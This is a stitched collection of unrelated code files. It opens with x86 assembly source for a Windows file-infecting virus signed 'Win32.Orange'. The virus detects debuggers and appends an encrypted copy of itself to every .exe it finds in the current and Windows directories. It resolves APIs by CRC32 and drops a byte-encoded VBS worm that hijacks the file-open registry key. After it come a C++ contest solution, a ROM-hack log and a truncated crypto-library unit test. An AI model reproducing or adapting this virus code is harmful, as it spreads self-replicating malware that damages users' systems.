push 01h
push 0c0000000h
lea esi,[ebp+SoftICE_Win9X]
push esi
call [ebp+CreateFileA]
inc eax
jnz si9x ; SoftICE for Win9X is active
dec eax
push eax
call [ebp+CloseHandle]
;--- check for NTice
push 00h
push 80h
push 03h
push 00h
push 01h
push 0c0000000h
lea esi,[ebp+SoftICE_WinNT]
push esi
call [ebp+CreateFileA]
inc eax
jnz siNT ; SoftICE for WinNT is active
dec eax
push eax
call [ebp+CloseHandle]
xor eax,eax
ret
si9x:
mov eax,01h ; SI for Win95/98
ret
siNT:
mov eax,02h ; for NT/2000
ret
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
;** Loading of virus components
Inf32_Counter dd 0
NumPasses dd 0
LoadingSequence:
dec dword ptr [ebp+Inf32_Counter] ; FFFFFFFF infections: basically every file
mov [ebp+NumPasses],2 ; 1st pass: curdir 2nd: windir
infpass:
;** Setup an SEH handler to protect our infection routine
call SetupSEH
mov esp,[esp+08h]
jmp DoneSEH
SetupSEH:
xor eax,eax
push dword ptr fs:[eax]
mov fs:[eax],esp
;+-+-+-+-+-+-+-+-+-+-+-
lea edi,[ebp+FindData]
push edi
lea eax,[ebp+FileMask]
push eax
call [ebp+FindFirstFileA] ; find the first file...
inc eax
jz leaveth
dec eax
mov ebx,eax
infect: push ebx ; save findhandle
push dword ptr [edi+20h] ; push the filesize
add edi,02Ch ; point to filename and..
push edi ; push
call InfectFile ; Infect the file!
pop ebx ; restore FindHandle (we modify EBX)
dec dword ptr [ebp+Inf32_Counter]
jz __next
lea edi,[ebp+FindData] ; re-initialize EDI
push edi
add edi,02Ch ; clear filename field (so no overwriting is done)
xor al,al
mov ecx,256
rep stosb
mov edi,[esp] ; restore EDI
push ebx ; find the next valid file
call [ebp+FindNextFileA]
or eax,eax
jnz infect
push ebx
call [ebp+FindClose]
;+-+-+-+-+-+-+-+-+-+-+-
DoneSEH:
xor eax,eax
pop dword ptr fs:[eax]
pop eax
__next:
dec dword ptr [ebp+NumPasses]
jz weredone
push 128
lea edi,[ebp+Buffer]
push edi
call [ebp+GetWindowsDirectoryA]
push edi
call [ebp+SetCurrentDirectoryA]
mov [ebp+Inf32_Counter],13
jmp infpass
weredone:
call InstallVBS ; extract the VBS file to the current directory
jmp leaveth
;********BEGINNING OF INFECTOR***************
InfectFile:
pop eax ; return address
pop esi ; file name
pop ecx ; file size
; pop edx ; file attribs
mov [ebp+addr_ret],eax
mov [ebp+filename],esi
mov [ebp+file_size],ecx
; mov [ebp+file_attr],edx
;save the old entry point and imagebase
mov ebx,[ebp+ImageBase]
mov [ebp+ib],ebx
mov ebx,[ebp+OldEIP]
mov [ebp+oe],ebx
;**--**
push ecx ; save it
push 080h ; wipe attributes off
push esi
call [ebp+SetFileAttributesA]
call Open ; i dont even bother checking if its valid, we find out after
mov ecx,[esp] ; it has been mapped
xchg eax,ebx
call GenMap ; map it in memory
xchg eax,ebx
mov ecx,[esp]
call MapIt
pop ecx
or eax,eax
jz close
cmp word ptr [eax],'ZM' ; is it a valid exe?
jnz close
mov esi,eax
mov esi,[esi+03ch] ; get to pe header
add esi,eax
cmp word ptr [esi],'EP' ; is it a PE/exe?
jnz close
cmp dword ptr [esi+04Ch],77661212h ; are we infected?
jz close
push dword ptr [esi+03Ch] ; save file alignment
call CLOSEPROC ; close file
mov eax,[ebp+file_size] ; put old size in eax
pop ecx
add eax,virus_end-virus_start ; make it the new size
call Factor ; factor it into the alignment
mov [ebp+file_size],eax ; store it again
xchg ecx,eax
push ecx
mov esi,[ebp+filename] ; reopen etc....
call Open
xchg eax,ebx
mov ecx,[esp]
call GenMap
xchg eax,ebx
mov ecx,[esp]
call MapIt
pop ecx
or eax,eax ; check make sure its valid
jz close
; proceed infection
mov esi,eax
push esi
pop ebx
mov esi,[esi+03ch]
add esi,ebx
movzx eax,word ptr [esi+06h] ; number of sections
dec eax ; - 1
imul eax,eax,28h ; gets us to last section
mov ebx,esi
add esi,78h+(8*10h) ; blah..
add esi,eax
or dword ptr [esi+24h],0a0000020h ; code,readable,writable
mov ecx,[esi+10h]
push ecx
mov edx,[esi+14h]
mov eax,[esi+0Ch]
add eax,ecx
mov edx,[ebx+28h] ; Old EIP
mov [ebp+OldEIP],edx
mov edx,[ebx+34h] ; image base
mov [ebp+ImageBase],edx
mov [ebx+28h],eax ; the new eip is stored
mov eax,ecx
add eax,virus_end-virus_start
mov ecx,[ebx+03Ch]
call Factor
mov [esi+10h],eax ; set the new sizes, this is physical size
mov [esi+08h],eax ; virtual size
mov edx,eax
mov ebx,[ebp+MappedView] ; need a handle again
mov edi,[esi+14h] ; Pointer to Raw Data (in PE header)
add edi,ebx ; point it to the end of the file (to write our virus)
pop ecx ; size of last section
add edi,ecx ; point to the end of last section
push esi ; save ESI
lea esi,[ebp+virus_start] ; ... you should know this :)
mov ecx,virus_end-virus_start ; setup the length of the virus
push ecx
rep movsb ; copy the virus there!
pop ecx
sub ecx,monkey-virus_start
sub edi,ecx
mov esi,edi
encrypt:
lodsb
not al
stosb
dec ecx
jecxz @bbcr
jmp encrypt
@bbcr:
pop esi ; restore ESI
mov eax,ebx ; fix it to point to PE header
mov ebx,[ebx+03Ch] ; e_lfanew
add ebx,eax ; normalize
mov eax,[esi+0Ch] ; VA address of last section
add eax,edx ; add our new length
mov [ebx+50h],eax ; and we have size of image
mov dword ptr [ebx+04Ch],77661212h ; mark it as infected
;** next we restore old image base and entrypoint
mov ebx,[ebp+ib]
mov eax,[ebp+oe]
mov [ebp+ImageBase],ebx
mov [ebp+OldEIP],eax
;**--**
close:
call CLOSEPROC
jmp setattr
setattr:
push dword ptr [ebp+file_attr]
push dword ptr [ebp+filename]
call [ebp+SetFileAttributesA]
exit_inf:
push [ebp+addr_ret]
ret
;***********************************************
; Infectors data, i just keep it in the proc
;***********************************************
dataset:
addr_ret dd 0
file_size dd 0
file_attr dd 80h
FileHandle dd 0
MappedFile dd 0
MappedView dd 0
filename dd 0
ib dd 0
oe dd 0
;***********************************************
; Infectors helper functions
;***********************************************
Factor:
pushad
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esp+01Ch],eax
popad
ret
CLOSEPROC:
push dword ptr [ebp+MappedView]
call [ebp+UnmapViewOfFile]
push dword ptr [ebp+MappedFile]
call [ebp+CloseHandle]
push dword ptr [ebp+FileHandle]
call [ebp+CloseHandle]
ret
;** open file for read/write ESI = FileName
Open:
xor eax,eax
push eax
push eax
push 3h
push eax
push 1h
push 0C0000000h
push esi
call [ebp+CreateFileA]
mov [ebp+FileHandle],eax
ret
; ECX=Size EBX=FileHandle
GenMap:
xor eax,eax
push eax
push ecx
push eax
push 04h
push eax
push ebx
call [ebp+CreateFileMappingA]
mov [ebp+MappedFile],eax
ret
; ECX=Size EBX=Handle returned by GenMap
MapIt:
xor eax,eax
push ecx
push eax
push eax
push 02h
push ebx
call [ebp+MapViewOfFile]
mov [ebp+MappedView],eax
ret
;*********END OF INFECTOR****************
InstallVBS proc
lea esi,[ebp+vbsfile]
xor eax,eax
push eax
push eax
inc eax
push eax
dec eax
push eax
inc eax
push eax
push 0c0000000h
push esi
call [ebp+CreateFileA]
mov [ebp+FileHandle],eax
push eax
lea edi,[ebp+Buffer]
push 00h
push edi
push dword ptr [ebp+sizevbs]
lea esi,[ebp+vbsdata]
push esi
push eax
call [ebp+WriteFile]
call [ebp+CloseHandle]
;############################
lea esi,[ebp+_Shell32]
push esi
call [ebp+LoadLibraryA]
push eax
lea esi,[ebp+_ShellExecute]
push esi
push eax
call [ebp+GetProcAddress]
push 01h
push 00h
push 00h
lea esi,[ebp+vbsfile]
push esi
lea esi,[ebp+_OpenExecute]
push esi
push 00h
call eax
call [ebp+FreeLibrary]
;############################
ret
InstallVBS endp
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
;** Leave
no_kernel:
leaveth:
or ebp,ebp
jz firstgeneration
mov eax,00400000h
ImageBase equ $-4
add eax,00001000h
OldEIP equ $-4
jmp eax
firstgeneration:
push 0
call [ebp+ExitProcess]
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
;** Error handling and must-exit thingy's
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
;---------------------------------------
; Different functions we use *******
;---------------------------------------
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
;** Finds api address via CRC32 of Api name
; portions of this code used from Billy Belcebu's win32 viruswriting guide
; thanx billy :)
; expects ecx to be crc32 of api, ebx to be kernel base
Get_APICRC32 PROC
pushad ; save all of the registers - required...
mov edx,[ebp+ExportNameRVA] ; open the export table
add edx,ebx
mov edi,[edx]
add edi,ebx
and dword ptr [ebp+ExportCounter],00h ; clear the counter
loop_check_crc: ; Soma this code was taken from billy belcebu's guide to virus writing for win32
mov esi,edi ; save edi in esi
xor al,al ; find the length
scasb
jnz $-1
sub edi,esi ; .. solve it
pushad ; save all regs
push ecx ; save ecx as it is important
call CRC32
pop ecx ; restore ecx
cmp eax,ecx ; compare the two CRC32's
jnz next_api ; no match
popad ; a match, restore regs and find the address
jmp found
next_api:
popad ; restore the regs
inc dword ptr [ebp+ExportCounter] ; increase counter
add edx,4
mov edi,[edx]
add edi,ebx
jmp loop_check_crc ; all over a gain
found:
xor eax,eax ; clear eax
mov eax,dword ptr [ebp+ExportCounter] ; put the counter in it
mov esi,[ebp+ExportOrdinalRVA] ; put the ordinal RVA...
shl eax,1
add esi,eax
add esi,ebx ; ok now we get the ordinal
lodsw ; we have it
shl ax,2 ; Ordinal*4+KernelBase+AddressOfAddy's equals /
; pointer to function address!
mov esi,[ebp+ExportAddressRVA]
add esi,ebx
add esi,eax
lodsd ; get the data pointed to
add eax,ebx ; normalize by kernel
mov [ebp+save],eax ; save it for we restore all registers now
popad ; restore'em
mov eax,[ebp+save] ; put into eax
ret ; and return with our new found addy
save dd 0
Get_APICRC32 endp
;----------------------------------------
; The VBS/Worm
;----------------------------------------
_OpenExecute db "open",0
_ShellExecute db "ShellExecuteA",0
_Shell32 db "Shell32.dll",0
vbsfile db "readme.txt.vbs",0
vbsdata db 67,97,108,108,32,118,98,115,78,101,99,116,111,114,13,10
db 87,83,99,114,105,112,116,46,113,117,105,116,13,10,39,13
db 10,83,117,98,32,118,98,115,78,101,99,116,111,114,40,41
db 13,10,68,105,109,32,118,105,13,10,13,10,83,101,116,32
db 115,32,61,32,87,83,99,114,105,112,116,46,65,114,103,117
db 109,101,110,116,115,13,10,83,101,116,32,111,98,106,83,104
db 101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101
db 99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108
db 108,34,41,13,10,83,101,116,32,102,115,32,61,32,67,114
db 101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105
db 112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109
db 79,98,106,101,99,116,34,41,13,10,77,121,115,99,114,105
db 112,116,32,61,32,87,83,99,114,105,112,116,46,83,99,114
db 105,112,116,70,117,108,108,78,97,109,101,13,10,83,101,116
db 32,102,32,61,32,102,115,46,111,112,101,110,116,101,120,116
db 102,105,108,101,40,77,121,115,99,114,105,112,116,44,49,41
db 13,10,118,105,114,32,61,32,102,46,82,101,97,100,65,108
db 108,13,10,102,46,99,108,111,115,101,13,10,83,101,116,32
db 102,32,61,32,78,111,116,104,105,110,103,13,10,73,102,32
db 73,110,83,116,114,40,49,44,76,67,97,115,101,40,77,121
db 115,99,114,105,112,116,41,44,34,114,101,97,100,109,101,46
db 116,120,116,46,118,98,115,34,44,49,41,32,84,104,101,110
db 13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114
db 105,116,101,32,34,72,75,69,89,95,67,76,65,83,83,69
db 83,95,82,79,79,84,92,86,66,83,70,105,108,101,92,83
db 104,101,108,108,92,79,112,101,110,92,67,111,109,109,97,110
db 100,92,34,44,102,115,46,71,101,116,83,112,101,99,105,97
db 108,70,111,108,100,101,114,40,48,41,32,43,32,34,92,87
db 83,99,114,105,112,116,46,69,88,69,32,34,32,43,32,77
db 121,115,99,114,105,112,116,32,43,32,34,32,37,49,32,34
db 32,43,32,67,104,114,40,51,52,41,32,43,32,102,115,46
db 71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114
db 40,48,41,32,43,32,34,92,87,83,99,114,105,112,116,46
db 69,88,69,32,34,32,43,32,67,104,114,40,51,52,41,32
db 43,32,34,37,49,34,32,43,32,67,104,114,40,51,52,41
db 32,43,32,34,32,37,42,34,32,43,32,67,104,114,40,51
db 52,41,13,10,69,110,100,32,73,102,13,10,13,10,73,102
db 32,115,46,67,111,117,110,116,32,62,32,49,32,84,104,101
db 110,13,10,9,9,83,101,116,32,102,32,61,32,102,115,46
db 111,112,101,110,116,101,120,116,102,105,108,101,40,115,40,48
db 41,44,49,41,13,10,9,9,118,105,32,61,32,102,46,82
db 101,97,100,65,108,108,13,10,9,9,102,46,99,108,111,115
db 101,13,10,9,9,83,101,116,32,102,32,61,32,78,111,116
db 104,105,110,103,13,10,13,10,9,9,83,101,116,32,102,32
db 61,32,102,115,46,99,114,101,97,116,101,116,101,120,116,102
db 105,108,101,40,34,36,116,116,121,107,36,46,118,98,95,34
db 41,13,10,9,13,10,9,9,73,102,32,73,110,83,116,114
db 40,49,44,118,105,44,34,118,98,115,78,101,99,116,111,114
db 34,44,49,41,32,84,104,101,110,13,10,9,9,9,69,120
db 105,116,32,83,117,98,13,10,9,9,69,110,100,32,73,102
db 13,10,9,13,10,9,9,110,116,116,32,61,32,73,110,83
db 116,114,40,49,44,118,105,114,44,34,39,34,44,49,41,13
db 10,9,13,10,9,9,102,46,119,114,105,116,101,32,34,99
db 97,108,108,32,118,98,115,78,101,99,116,111,114,34,32,43
db 32,118,98,67,114,76,102,13,10,9,9,102,46,119,114,105
db 116,101,32,118,105,32,43,32,118,98,67,114,76,102,13,10
db 9,9,102,46,119,114,105,116,101,32,77,105,100,40,118,105
db 114,44,110,116,116,44,76,101,110,40,118,105,114,41,45,110
db 116,116,41,13,10,9,9,9,13,10,9,9,102,46,99,108
db 111,115,101,13,10,9,9,83,101,116,32,102,32,61,32,78
db 111,116,104,105,110,103,13,10,9,13,10,9,9,111,98,106
db 83,104,101,108,108,46,82,117,110,32,115,40,49,41,13,10
db 9,9,102,115,46,67,111,112,121,70,105,108,101,32,34,36
db 116,116,121,107,36,46,118,98,95,34,44,115,40,48,41,13
db 10,69,110,100,32,73,102,13,10,69,110,100,32,83,117,98
db 13,10
sizevbs dd 1042d
;----------------------------------------
; Different data we use ************
;----------------------------------------
CRC32_PROC dd 0FFC97C1Fh ; GetProcAddress
dd 04134D1ADh ; LoadLibraryA
dd 019F33607h ; CreateThread
dd 0AFDF191Fh ; FreeLibrary
dd 08C892DDFh ; CreateFileA
dd 0797B49ECh ; MapViewOfFile
dd 094524B42h ; UnmapViewOfFile
dd 096B2D96Ch ; CreateFileMappingA
dd 068624A9Dh ; CloseHandle
dd 0AE17EBEFh ; FindFirstFileA
dd 0AA700106h ; FindNextFileA
dd 0C200BE21h ; FindClose
dd 0FE248274h ; GetWindowsDirectoryA
dd 0593AE7CEh ; GetSystemDirectoryA
dd 0B2DBD7DCh ; SetCurrentDirectoryA
dd 0EBC6C18Bh ; GetCurrentDirectoryA
dd 0C38969C7h ; SetPriorityClass
dd 085859D42h ; SetFilePointer
dd 059994ED6h ; SetEndOfFile
dd 0C633D3DEh ; GetFileAttributesA
dd 03C19E536h ; SetFileAttributesA
dd 0EF7D811Bh ; GetFileSize
dd 0B99F1B1Eh ; GetDriveTypeA
dd 083A353C3h ; GlobalAlloc
dd 05CDF6B6Ah ; GlobalFree
dd 02E12ADB5h ; GlobalLock
dd 088BC746Eh ; GlobalUnlock
dd 052E3BEB1h ; IsDebuggerPresent
dd 0613FD7BAh ; GetTickCount
dd 0058F9201h ; ExitThread
dd 0D4540229h ; WaitForSingleObject
dd 040F57181h ; ExitProcess
dd 00AC136BAh ; Sleep
dd 021777793h ; WriteFile
dd 004DCF392h ; GetModuleFileNameA
dd 05BD05DB1h ; CopyFileA
dd 000000000h ; done mark.
; NumFunctions equ ($-CRC32_PROC)/4
GetProcAddress dd 0 ; GetProcAddress
LoadLibraryA dd 0 ; LoadLibraryA
CreateThread dd 0 ; CreateThread
FreeLibrary dd 0 ; FreeLibrary
CreateFileA dd 0 ; CreateFileA
MapViewOfFile dd 0 ; MapViewOfFile
UnmapViewOfFile dd 0 ; UnmapViewOfFile
CreateFileMappingA dd 0 ; CreateFileMappingA
CloseHandle dd 0 ; CloseHandle
FindFirstFileA dd 0 ; FindFirstFileA
FindNextFileA dd 0 ; FindNextFileA
FindClose dd 0 ; FindClose
GetWindowsDirectoryA dd 0 ; GetWindowsDirectoryA
GetSystemDirectoryA dd 0 ; GetSystemDirectoryA
SetCurrentDirectoryA dd 0 ; SetCurrentDirectoryA
GetCurrentDirectoryA dd 0 ; GetCurrentDirectoryA
SetPriorityClass dd 0 ; SetPriorityClass
SetFilePointer dd 0 ; SetFilePointer
SetEndOfFile dd 0 ; SetEndOfFile
GetFileAttributesA dd 0 ; GetFileAttributesA
SetFileAttributesA dd 0 ; SetFileAttributesA
GetFileSize dd 0 ; GetFileSize
GetDriveTypeA dd 0 ; GetDriveTypeA
GlobalAlloc dd 0 ; GlobalAlloc
GlobalFree dd 0 ; GlobalFree
GlobalLock dd 0 ; GlobalLock
GlobalUnlock dd 0 ; GlobalUnlock
IsDebuggerPresent dd 0 ; IsDebuggerPresent
GetTickCount dd 0 ; GetTickCount
ExitThread dd 0 ; ExitThread
WaitForSingleObject dd 0 ; WaitForSingleObject
ExitProcess dd 0 ; ExitProcess
Sleep dd 0 ; sleep
WriteFile dd 0
GetModuleFileNameA dd 0
CopyFileA dd 0
CurrentProc dd 0
TempName db 32 dup(0)
CurrentOS db 0
kernel dd 0
;** Used while searching for exports
NumberOfNames dd 0
ExportAddressRVA dd 0
ExportNameRVA dd 0
ExportOrdinalRVA dd 0
ExportCounter dd 0
;** Anti debugging etc
SoftICE_Win9X db "\\.\SICE",0
SoftICE_WinNT db "\\.\NTICE",0
;** Various
Buffer db 128 dup(0) ; current directory
Windows db 128 dup(0)
DirSize equ 128
FindData WIN32_FIND_DATA <0>
;** Hyper infection
DriveRoot db "c:\",0
FileMask db "*.exe",0
;** Misc useless shit
Signature db "[Win32.Orange by Ebola]",0
misc1 db "Dedicated to the NYFD and NYPD.",0
virus_end = $
end start
|
#pragma comment(linker, "/stack:640000000")
#include <algorithm>
#include <bitset>
#include <cassert>
#include <cctype>
#include <climits>
#include <cmath>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iostream>
#include <iomanip>
#include <iterator>
#include <list>
#include <map>
#include <numeric>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <string>
#include <utility>
#include <vector>
using namespace std;
const double EPS = 1e-9;
const int INF = 0x7f7f7f7f;
const double PI=acos(-1.0);
#define READ(f) freopen(f, "r", stdin)
#define WRITE(f) freopen(f, "w", stdout)
#define MP(x, y) make_pair(x, y)
#define SZ(c) (int)c.size()
#define PB(x) push_back(x)
#define rep(i,n) for(i=1;i<=n;i++)
#define repI(i,n) for(i=0;i<n;i++)
#define F(i,L,R) for (int i = L; i < R; i++)
#define FF(i,L,R) for (int i = L; i <= R; i++)
#define FR(i,L,R) for (int i = L; i > R; i--)
#define FRF(i,L,R) for (int i = L; i >= R; i--)
#define FOREACH(i,t) for (typeof(t.begin()) i=t.begin(); i!=t.end(); i++)
#define ALL(p) p.begin(),p.end()
#define ALLR(p) p.rbegin(),p.rend()
#define SET(p) memset(p, -1, sizeof(p))
#define CLR(p) memset(p, 0, sizeof(p))
#define MEM(p, v) memset(p, v, sizeof(p))
#define CPY(d, s) memcpy(d, s, sizeof(s))
#define getI(a) scanf("%d", &a)
#define getII(a,b) scanf("%d%d", &a, &b)
#define getIII(a,b,c) scanf("%d%d%d", &a, &b, &c)
#define getL(a) scanf("%lld",&a)
#define getLL(a,b) scanf("%lld%lld",&a,&b)
#define getLLL(a,b,c) scanf("%lld%lld%lld",&a,&b,&c)
#define getC(n) scanf("%c",&n)
#define getF(n) scanf("%lf",&n)
#define getS(n) scanf("%s",n)
#define vi vector < int >
#define vii vector < vector < int > >
#define pii pair< int, int >
#define psi pair< string, int >
#define ff first
#define ss second
#define ll long long
#define ull unsigned long long
#define ui unsigned int
#define us unsigned short
#define ld long double
template< class T > inline T _abs(T n) { return ((n) < 0 ? -(n) : (n)); }
template< class T > inline T _max(T a, T b) { return (!((a)<(b))?(a):(b)); }
template< class T > inline T _min(T a, T b) { return (((a)<(b))?(a):(b)); }
template< class T > inline T _swap(T &a, T &b) { a=a^b;b=a^b;a=a^b;}
template< class T > inline T gcd(T a, T b) { return (b) == 0 ? (a) : gcd((b), ((a) % (b))); }
template< class T > inline T lcm(T a, T b) { return ((a) / gcd((a), (b)) * (b)); }
//******************DELETE****************
#define shubhashis
#ifdef shubhashis
#define debug(args...) {dbg,args; cerr<<endl;}
#else
#define debug(args...) // Just strip off all debug tokens
#endif
struct debugger{
template<typename T> debugger& operator , (const T& v){
cerr<<v<<" ";
return *this;
}
}dbg;
/// ********* debug template bt Bidhan Roy *********
template < typename F, typename S >
ostream& operator << ( ostream& os, const pair< F, S > & p ) {
return os << "(" << p.first << ", " << p.second << ")";
}
template < typename T >
ostream &operator << ( ostream & os, const vector< T > &v ) {
os << "{";
typename vector< T > :: const_iterator it;
for( it = v.begin(); it != v.end(); it++ ) {
if( it != v.begin() ) os << ", ";
os << *it;
}
return os << "}";
}
template < typename T >
ostream &operator << ( ostream & os, const set< T > &v ) {
os << "[";
typename set< T > :: const_iterator it;
for ( it = v.begin(); it != v.end(); it++ ) {
if( it != v.begin() ) os << ", ";
os << *it;
}
return os << "]";
}
template < typename F, typename S >
ostream &operator << ( ostream & os, const map< F, S > &v ) {
os << "[";
typename map< F , S >::const_iterator it;
for( it = v.begin(); it != v.end(); it++ ) {
if( it != v.begin() ) os << ", ";
os << it -> first << " = " << it -> second ;
}
return os << "]";
}
#define deb(x) cerr << #x << " = " << x << endl;
//******************DELETE****************
int Set(int N,int pos)
{
return N=N | (1<<pos);
}
int reset(int N,int pos)
{
return N=N & ~(1<<pos);
}
bool check(int N,int pos)
{
return (bool)(N & (1<<pos));
}
int n,k;
int a[10004];
int dp[10004][204];
int call(int pos,int sum)
{
while(sum<0) sum+=k;
if(pos>=n)
{
if(sum==0) return 1;
return 0;
}
int &ret=dp[pos][sum];
if(ret !=-1) return ret;
int s1=call(pos+1,(sum+a[pos])%k);
int s2=call(pos+1,(sum-a[pos])%k);
return ret=(int)(s1||s2);
}
int main() {
//READ("in.txt");
//WRITE("out.txt");
int t;
getI(t);
for(int ci=1;ci<=t;ci++)
{
getII(n,k);
for(int i=0;i<n;i++) getI(a[i]);
SET(dp);
if(call(0,0))
printf("Divisible\n");
else printf("Not divisible\n");
}
return 0;
}
|
copyright zengfr site:http://github.com/zengfr/romhack
0121D2 rts [123p+ 18, enemy+18]
0121D8 move.w #$200, ($2a,A0) [123p+ 18, enemy+18]
01A74C dbra D7, $1a74a
01A75E dbra D4, $1a75c
05E5F2 add.w ($18,A0), D3 [123p+ 4, enemy+ 4]
05E5F6 add.w ($8,A0), D4 [123p+ 18, enemy+18]
copyright zengfr site:http://github.com/zengfr/romhack
|
#include "pch.h"
#include <microratchet.h>
#include "support.h"
#include <chrono>
template<size_t T>
static uint8_t emptybuffer[T] = {};
static constexpr size_t buffersize = 256;
static constexpr size_t buffersize_total = buffersize + 128;
#define EXPECT_NOT_EMPTY(b) EXPECT_BUFFERNE(emptybuffer<sizeof(b)>, sizeof(b), buffer, sizeof(b))
#define EXPECT_NOT_OVERFLOWED(b) \
static_assert(sizeof(b) == buffersize_total, "invalid size"); \
EXPECT_BUFFEREQ(emptybuffer<buffersize_overhead>, \
buffersize_overhead, \
b + buffersize, \
buffersize_overhead)
#define TEST_PREAMBLE \
uint8_t buffer[buffersize_total]{}; \
mr_config clientcfg{ true }; \
auto client = mr_ctx_create(&clientcfg); \
mr_rng_ctx rng = mr_rng_create(client); \
uint8_t clientpubkey[32]; \
auto clientidentity = mr_ecdsa_create(client); \
ASSERT_EQ(MR_E_SUCCESS, mr_ecdsa_generate(clientidentity, clientpubkey, sizeof(clientpubkey))); \
ASSERT_EQ(MR_E_SUCCESS, mr_ctx_set_identity(client, clientidentity, false)); \
mr_config servercfg{ false }; \
auto server = mr_ctx_create(&servercfg); \
uint8_t serverpubkey[32]; \
auto serveridentity = mr_ecdsa_create(server); \
ASSERT_EQ(MR_E_SUCCESS, mr_ecdsa_generate(serveridentity, serverpubkey, sizeof(serverpubkey))); \
ASSERT_EQ(MR_E_SUCCESS, mr_ctx_set_identity(server, serveridentity, false)); \
run_on_exit _a{[=] { \
mr_rng_destroy(rng); \
mr_ctx_destroy(client); \
mr_ctx_destroy(server); \
mr_ecdsa_destroy(clientidentity); \
mr_ecdsa_destroy(serveridentity); \
}};
#define TEST_PREAMBLE_CLIENT_SERVER \
TEST_PREAMBLE \
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_initiate_initialization(client, buffer, buffersize, false)); \
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_receive(server, buffer, buffersize, buffersize, nullptr, 0)); \
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_receive(client, buffer, buffersize, buffersize, nullptr, 0)); \
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_receive(server, buffer, buffersize, buffersize, nullptr, 0)); \
ASSERT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buffer, buffersize, buffersize, nullptr, 0)); \
#define RANDOMDATA(variable, howmuch) uint8_t variable[howmuch]; mr_rng_generate(rng, variable, sizeof(variable));
TEST(Context, Create) {
mr_config cfg{ true };
auto mr_ctx = mr_ctx_create(&cfg);
EXPECT_NE(nullptr, mr_ctx);
mr_ctx_destroy(mr_ctx);
}
TEST(Context, ClientCommunicationClientToServerWithExchange) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(content, 16);
uint8_t msg[128] = {};
memcpy(msg, content, sizeof(content));
uint8_t* output = nullptr;
uint32_t size = 0;
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, msg, sizeof(content), sizeof(msg)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, msg, sizeof(msg), sizeof(msg), &output, &size));
ASSERT_TRUE(size > sizeof(content));
EXPECT_BUFFEREQ(content, sizeof(content), output, sizeof(content));
}
TEST(Context, ClientCommunicationServerToClientWithExchange) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(content, 16);
uint8_t msg[128] = {};
memcpy(msg, content, sizeof(content));
uint8_t* output = nullptr;
uint32_t size = 0;
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, msg, sizeof(content), sizeof(msg)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, msg, sizeof(msg), sizeof(msg), &output, &size));
ASSERT_TRUE(size > sizeof(content));
EXPECT_BUFFEREQ(content, sizeof(content), output, sizeof(content));
}
TEST(Context, ClientCommunicationClientToServerWithoutExchange) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(content, 16);
uint8_t msg[MR_MIN_MESSAGE_SIZE] = {};
memcpy(msg, content, sizeof(content));
uint8_t* output = nullptr;
uint32_t size = 0;
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, msg, sizeof(content), sizeof(msg)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, msg, sizeof(msg), sizeof(msg), &output, &size));
ASSERT_TRUE(size == sizeof(content));
EXPECT_BUFFEREQ(content, sizeof(content), output, sizeof(content));
}
TEST(Context, ClientCommunicationServerToClientWithoutExchange) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(content, 16);
uint8_t msg[MR_MIN_MESSAGE_SIZE] = {};
memcpy(msg, content, sizeof(content));
uint8_t* output = nullptr;
uint32_t size = 0;
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, msg, sizeof(content), sizeof(msg)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, msg, sizeof(msg), sizeof(msg), &output, &size));
ASSERT_TRUE(size == sizeof(content));
EXPECT_BUFFEREQ(content, sizeof(content), output, sizeof(content));
}
TEST(Context, OneMessageClientServer) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(msg1, 32);
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
memcpy(buff, msg1, sizeof(msg1));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg1), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg1, sizeof(msg1), payload, sizeof(msg1));
}
TEST(Context, OneMessageServerClient) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(msg1, 32);
uint8_t buff[128] = {};
uint8_t* payload = 0;
